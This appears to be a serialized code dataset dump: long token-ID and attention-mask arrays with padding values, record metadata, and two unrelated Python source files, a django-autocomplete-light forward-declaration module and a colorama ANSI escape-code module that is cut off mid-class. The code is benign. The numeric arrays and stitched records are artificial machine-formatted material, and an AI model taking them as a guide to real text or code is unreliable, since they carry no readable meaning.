32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 10370, 282, 570, 315, 314, 17925, 597, 4340, 3962, 447, 339, 1306, 687, 1639, 14, 1018, 14, 1725, 14, 1185, 492, 570, 63, 1185, 63, 3489, 272, 1306, 570, 63, 1185, 63, 3489, 4769, 2791, 15, 1753, 63, 493, 401, 3286, 2791, 15, 1222, 63, 493, 531, 199, 624, 199, 199, 646, 747, 199, 504, 1639, 14, 1018, 14, 1725, 492, 23340, 199, 199, 893, 26, 272, 687, 5145, 492, 1331, 3736, 199, 2590, 3545, 26, 272, 492, 5672, 339, 347, 1331, 3736, 8, 2164, 12, 5042, 304, 267, 408, 5116, 1006, 5672, 2256, 334, 632, 5821, 12, 282, 521, 436, 15005, 9, 687, 2928, 370, 5042, 624, 267, 410, 275, 747, 14, 3736, 8, 2164, 9, 267, 818, 275, 5672, 14, 51, 63, 1469, 9125, 8, 270, 14, 270, 63, 632, 9, 267, 340, 2688, 8, 736, 12, 283, 24043, 735, 288, 747, 14, 24043, 8, 5119, 12, 334, 270, 14, 270, 63, 27867, 12, 410, 14, 270, 63, 8180, 430, 267, 340, 2688, 8, 736, 12, 283, 11693, 735, 288, 747, 14, 11693, 8, 5119, 12, 818, 9, 199, 199, 363, 452, 363, 275, 788, 493, 63, 1185, 63, 3489, 418, 421, 199, 318, 485, 7191, 493, 8, 2164, 12, 5042, 304, 272, 327, 10444, 9924, 609, 12, 13074, 14, 272, 340, 2688, 8, 736, 14, 515, 12, 283, 7191, 493, 735, 267, 862, 26, 288, 372, 747, 14, 515, 14, 7191, 493, 8, 2164, 12, 5042, 9, 267, 871, 6440, 26, 288, 372, 756, 339, 327, 2900, 1163, 10677, 26, 1104, 367, 2011, 11776, 14, 272, 372, 334, 736, 14, 515, 14, 21288, 8, 736, 14, 515, 14, 4832, 8, 2164, 430, 508, 288, 747, 14, 515, 14, 21288, 8, 736, 14, 515, 14, 4832, 8, 5119, 1724, 421, 199, 318, 570, 63, 1185, 63, 3489, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 12, 3728, 63, 890, 29, 7727, 627, 5049, 12, 2040, 63, 14658, 29, 797, 304, 272, 408, 272, 3930, 2310, 282, 570, 687, 1373, 2909, 370, 4573, 315, 314, 17925, 597, 4340, 3962, 14, 339, 7758, 12, 11275, 1124, 736, 14, 8165, 4542, 1314, 365, 3486, 1325, 911, 2059, 9371, 10036, 83, 14, 272, 982, 626, 6918, 12, 13788, 10250, 687, 1373, 570, 370, 4573, 315, 15111, 2018, 14, 339, 982, 314, 5724, 570, 3495, 436, 1124, 3306, 63, 14658, 1040, 365, 1124, 797, 4542, 642, 272, 805, 911, 7978, 376, 1124, 13760, 4345, 272, 408, 339, 327, 6006, 1159, 949, 4499, 370, 4057, 340, 781, 2793, 1133, 1172, 370, 14, 272, 340, 485, 7191, 493, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 304, 267, 372, 339, 862, 26, 267, 327, 982, 314, 5724, 570, 3495, 436, 2040, 63, 14658, 365, 756, 2066, 746, 376, 5925, 267, 340, 440, 2040, 63, 14658, 436, 747, 14, 2732, 8, 1222, 63, 493, 63, 354, 12, 747, 14, 38, 63, 3593, 304, 288, 746, 5925, 480, 13151, 570, 450, 83, 3495, 436, 2040, 63, 14658, 365, 756, 2, 450, 892, 63, 493, 63, 354, 9, 398, 747, 14, 8165, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 9, 267, 372, 272, 871, 6440, 26, 267, 327, 961, 911, 5992, 543, 747, 14, 8165, 340, 12876, 370, 4573, 10036, 267, 327, 503, 1380, 12876, 12123, 1584, 641, 9842, 17406, 10460, 267, 986, 339, 327, 1642, 1551, 314, 2269, 570, 12, 880, 626, 652, 7859, 1133, 2621, 13437, 272, 543, 1551, 8, 1753, 63, 493, 63, 354, 12, 283, 4848, 358, 465, 2269, 63, 493, 26, 267, 327, 3063, 1551, 314, 892, 570, 12, 440, 19459, 1337, 2040, 63, 14658, 267, 6111, 275, 747, 14, 1490, 8, 1222, 63, 493, 63, 354, 12, 334, 736, 14, 47, 63, 6524, 10452, 1204, 747, 14, 47, 63, 32120, 1204, 2519, 8, 736, 12, 283, 47, 63, 13246, 297, 378, 9, 1204, 3660, 334, 736, 14, 47, 63, 29647, 340, 440, 2040, 63, 14658, 587, 378, 1724, 267, 862, 26, 288, 23340, 14, 831, 8, 2592, 12, 23340, 14, 4406, 63, 1438, 9, 288, 1453, 63, 4604, 275, 488, 288, 1830, 1453, 63, 4604, 1137, 330, 7, 356, 355, 1453, 63, 4604, 275, 2269, 63, 493, 14, 739, 8, 4604, 63, 890, 9, 355, 747, 14, 952, 8, 2592, 12, 1453, 63, 4604, 9, 267, 3753, 26, 288, 23340, 14, 17966, 8, 2592, 9, 288, 747, 14, 1600, 8, 2592, 9, 272, 1331, 3736, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 9, 339, 862, 26, 267, 747, 14, 2168, 8, 1753, 63, 493, 63, 354, 9, 272, 871, 6440, 465, 325, 26, 267, 327, 11002, 877, 17406, 10460, 334, 35, 18313, 436, 5417, 9, 267, 327, 2449, 1380, 13794, 12123, 1584, 12, 3686, 652, 14, 221, 334, 1858, 314, 267, 327, 10460, 2382, 642, 10986, 12, 7937, 1584, 911, 506, 2599, 13, 6062, 267, 327, 641, 4002, 15988, 4959, 267, 340, 2519, 8, 69, 12, 283, 2676, 705, 297, 378, 9, 1137, 4337, 436, 2519, 8, 69, 12, 283, 7931, 297, 378, 9, 1137, 4944, 26, 288, 746, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
shubhamdipt/django-autocomplete-light
src/dal/forward.py
2
1830
"""Classes for class-based forward declaration.""" class Forward(object): """Base class for autocomplete forward declaration.""" def type(self): """Forward type. Should be implemented in subclasses.""" raise NotImplementedError("Please use one of my subclasses") def to_dict(self): """Convert to dictionary which will be rendered as JSON.""" return { "type": self.type } class Field(Forward): """Forward field value. .. py:attribute:: src The name of the form field whose value will be forwarded to a view. .. py:attribute:: dst The name of the key of the forwarded value from the src field in the forwarded dictionary. If this value is ``None``, then the key is ``src``. """ type = "field" def __init__(self, src, dst=None): """Instantiate a forwarded field value.""" self.src = src self.dst = dst def to_dict(self): """Convert to dictionary which will be rendered as JSON.""" d = super(Field, self).to_dict() d.update(src=self.src) if self.dst is not None: d.update(dst=self.dst) return d class Const(Forward): """Forward arbitrary constant value. .. py:attribute:: val The value to forward. Must be JSON-serializable. .. py:attribute:: dst The name of the key of the forwarded value. ``src``. """ type = "const" def __init__(self, val, dst): """Instantiate a forwarded constant value.""" self.val = val self.dst = dst def to_dict(self): """Convert to dictionary which will be rendered as JSON.""" d = super(Const, self).to_dict() d.update(val=self.val) d.update(dst=self.dst) return d
mit
[ 624, 15711, 367, 1021, 13, 6788, 7568, 12560, 1041, 421, 199, 533, 22536, 8, 785, 304, 272, 408, 1563, 1021, 367, 2599, 4883, 7568, 12560, 1041, 339, 347, 730, 8, 277, 304, 267, 408, 12984, 730, 14, 7719, 506, 6366, 315, 9180, 1041, 267, 746, 4279, 480, 8254, 675, 1373, 402, 3002, 9180, 531, 339, 347, 370, 63, 807, 8, 277, 304, 267, 408, 7306, 370, 2600, 1314, 911, 506, 8018, 465, 4840, 1041, 267, 372, 469, 288, 298, 466, 582, 291, 14, 466, 267, 789, 421, 199, 533, 5024, 8, 12984, 304, 272, 408, 12984, 901, 574, 14, 339, 2508, 1134, 26, 3215, 447, 2928, 398, 710, 536, 402, 314, 1824, 901, 7447, 574, 911, 506, 24172, 370, 282, 2455, 14, 339, 2508, 1134, 26, 3215, 447, 5042, 398, 710, 536, 402, 314, 790, 402, 314, 24172, 574, 687, 314, 2928, 901, 315, 314, 267, 24172, 2600, 14, 982, 642, 574, 365, 1124, 403, 4542, 2066, 314, 790, 365, 267, 1124, 2164, 4345, 272, 408, 339, 730, 275, 298, 698, 2, 339, 347, 636, 826, 721, 277, 12, 2928, 12, 5042, 29, 403, 304, 267, 408, 10083, 18973, 282, 24172, 901, 574, 1041, 267, 291, 14, 2164, 275, 2928, 267, 291, 14, 5119, 275, 5042, 339, 347, 370, 63, 807, 8, 277, 304, 267, 408, 7306, 370, 2600, 1314, 911, 506, 8018, 465, 4840, 1041, 267, 366, 275, 1613, 8, 792, 12, 291, 680, 475, 63, 807, 342, 398, 366, 14, 873, 8, 2164, 29, 277, 14, 2164, 9, 267, 340, 291, 14, 5119, 365, 440, 488, 26, 288, 366, 14, 873, 8, 5119, 29, 277, 14, 5119, 9, 398, 372, 366, 421, 199, 533, 13435, 8, 12984, 304, 272, 408, 12984, 9697, 4413, 574, 14, 339, 2508, 1134, 26, 3215, 447, 1139, 398, 710, 574, 370, 7568, 14, 9498, 506, 4840, 13, 2171, 14065, 14, 339, 2508, 1134, 26, 3215, 447, 5042, 398, 710, 536, 402, 314, 790, 402, 314, 24172, 574, 14, 267, 1124, 2164, 4345, 272, 408, 339, 730, 275, 298, 1297, 2, 339, 347, 636, 826, 721, 277, 12, 1139, 12, 5042, 304, 267, 408, 10083, 18973, 282, 24172, 4413, 574, 1041, 267, 291, 14, 637, 275, 1139, 267, 291, 14, 5119, 275, 5042, 339, 347, 370, 63, 807, 8, 277, 304, 267, 408, 7306, 370, 2600, 1314, 911, 506, 8018, 465, 4840, 1041, 267, 366, 275, 1613, 8, 6361, 12, 291, 680, 475, 63, 807, 342, 398, 366, 14, 873, 8, 637, 29, 277, 14, 637, 9, 267, 366, 14, 873, 8, 5119, 29, 277, 14, 5119, 9, 398, 372, 366, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 15711, 367, 1021, 13, 6788, 7568, 12560, 1041, 421, 199, 533, 22536, 8, 785, 304, 272, 408, 1563, 1021, 367, 2599, 4883, 7568, 12560, 1041, 339, 347, 730, 8, 277, 304, 267, 408, 12984, 730, 14, 7719, 506, 6366, 315, 9180, 1041, 267, 746, 4279, 480, 8254, 675, 1373, 402, 3002, 9180, 531, 339, 347, 370, 63, 807, 8, 277, 304, 267, 408, 7306, 370, 2600, 1314, 911, 506, 8018, 465, 4840, 1041, 267, 372, 469, 288, 298, 466, 582, 291, 14, 466, 267, 789, 421, 199, 533, 5024, 8, 12984, 304, 272, 408, 12984, 901, 574, 14, 339, 2508, 1134, 26, 3215, 447, 2928, 398, 710, 536, 402, 314, 1824, 901, 7447, 574, 911, 506, 24172, 370, 282, 2455, 14, 339, 2508, 1134, 26, 3215, 447, 5042, 398, 710, 536, 402, 314, 790, 402, 314, 24172, 574, 687, 314, 2928, 901, 315, 314, 267, 24172, 2600, 14, 982, 642, 574, 365, 1124, 403, 4542, 2066, 314, 790, 365, 267, 1124, 2164, 4345, 272, 408, 339, 730, 275, 298, 698, 2, 339, 347, 636, 826, 721, 277, 12, 2928, 12, 5042, 29, 403, 304, 267, 408, 10083, 18973, 282, 24172, 901, 574, 1041, 267, 291, 14, 2164, 275, 2928, 267, 291, 14, 5119, 275, 5042, 339, 347, 370, 63, 807, 8, 277, 304, 267, 408, 7306, 370, 2600, 1314, 911, 506, 8018, 465, 4840, 1041, 267, 366, 275, 1613, 8, 792, 12, 291, 680, 475, 63, 807, 342, 398, 366, 14, 873, 8, 2164, 29, 277, 14, 2164, 9, 267, 340, 291, 14, 5119, 365, 440, 488, 26, 288, 366, 14, 873, 8, 5119, 29, 277, 14, 5119, 9, 398, 372, 366, 421, 199, 533, 13435, 8, 12984, 304, 272, 408, 12984, 9697, 4413, 574, 14, 339, 2508, 1134, 26, 3215, 447, 1139, 398, 710, 574, 370, 7568, 14, 9498, 506, 4840, 13, 2171, 14065, 14, 339, 2508, 1134, 26, 3215, 447, 5042, 398, 710, 536, 402, 314, 790, 402, 314, 24172, 574, 14, 267, 1124, 2164, 4345, 272, 408, 339, 730, 275, 298, 1297, 2, 339, 347, 636, 826, 721, 277, 12, 1139, 12, 5042, 304, 267, 408, 10083, 18973, 282, 24172, 4413, 574, 1041, 267, 291, 14, 637, 275, 1139, 267, 291, 14, 5119, 275, 5042, 339, 347, 370, 63, 807, 8, 277, 304, 267, 408, 7306, 370, 2600, 1314, 911, 506, 8018, 465, 4840, 1041, 267, 366, 275, 1613, 8, 6361, 12, 291, 680, 475, 63, 807, 342, 398, 366, 14, 873, 8, 637, 29, 277, 14, 637, 9, 267, 366, 14, 873, 8, 5119, 29, 277, 14, 5119, 9, 398, 372, 366, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Technorip/Myntra
Django Backend/myntra/env/lib/python2.7/site-packages/pip/_vendor/colorama/ansi.py
640
2524
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. ''' This module generates ANSI character codes to printing colors to terminals. See: http://en.wikipedia.org/wiki/ANSI_escape_code ''' CSI = '\033[' OSC = '\033]' BEL = '\007' def code_to_chars(code): return CSI + str(code) + 'm' def set_title(title): return OSC + '2;' + title + BEL def clear_screen(mode=2): return CSI + str(mode) + 'J' def clear_line(mode=2): return CSI + str(mode) + 'K' class AnsiCodes(object): def __init__(self): # the subclasses declare class attributes which are numbers. # Upon instantiation we define instance attributes, which are the same # as the class attributes but wrapped with the ANSI escape sequence for name in dir(self): if not name.startswith('_'): value = getattr(self, name) setattr(self, name, code_to_chars(value)) class AnsiCursor(object): def UP(self, n=1): return CSI + str(n) + 'A' def DOWN(self, n=1): return CSI + str(n) + 'B' def FORWARD(self, n=1): return CSI + str(n) + 'C' def BACK(self, n=1): return CSI + str(n) + 'D' def POS(self, x=1, y=1): return CSI + str(y) + ';' + str(x) + 'H' class AnsiFore(AnsiCodes): BLACK = 30 RED = 31 GREEN = 32 YELLOW = 33 BLUE = 34 MAGENTA = 35 CYAN = 36 WHITE = 37 RESET = 39 # These are fairly well supported, but not part of the standard. LIGHTBLACK_EX = 90 LIGHTRED_EX = 91 LIGHTGREEN_EX = 92 LIGHTYELLOW_EX = 93 LIGHTBLUE_EX = 94 LIGHTMAGENTA_EX = 95 LIGHTCYAN_EX = 96 LIGHTWHITE_EX = 97 class AnsiBack(AnsiCodes): BLACK = 40 RED = 41 GREEN = 42 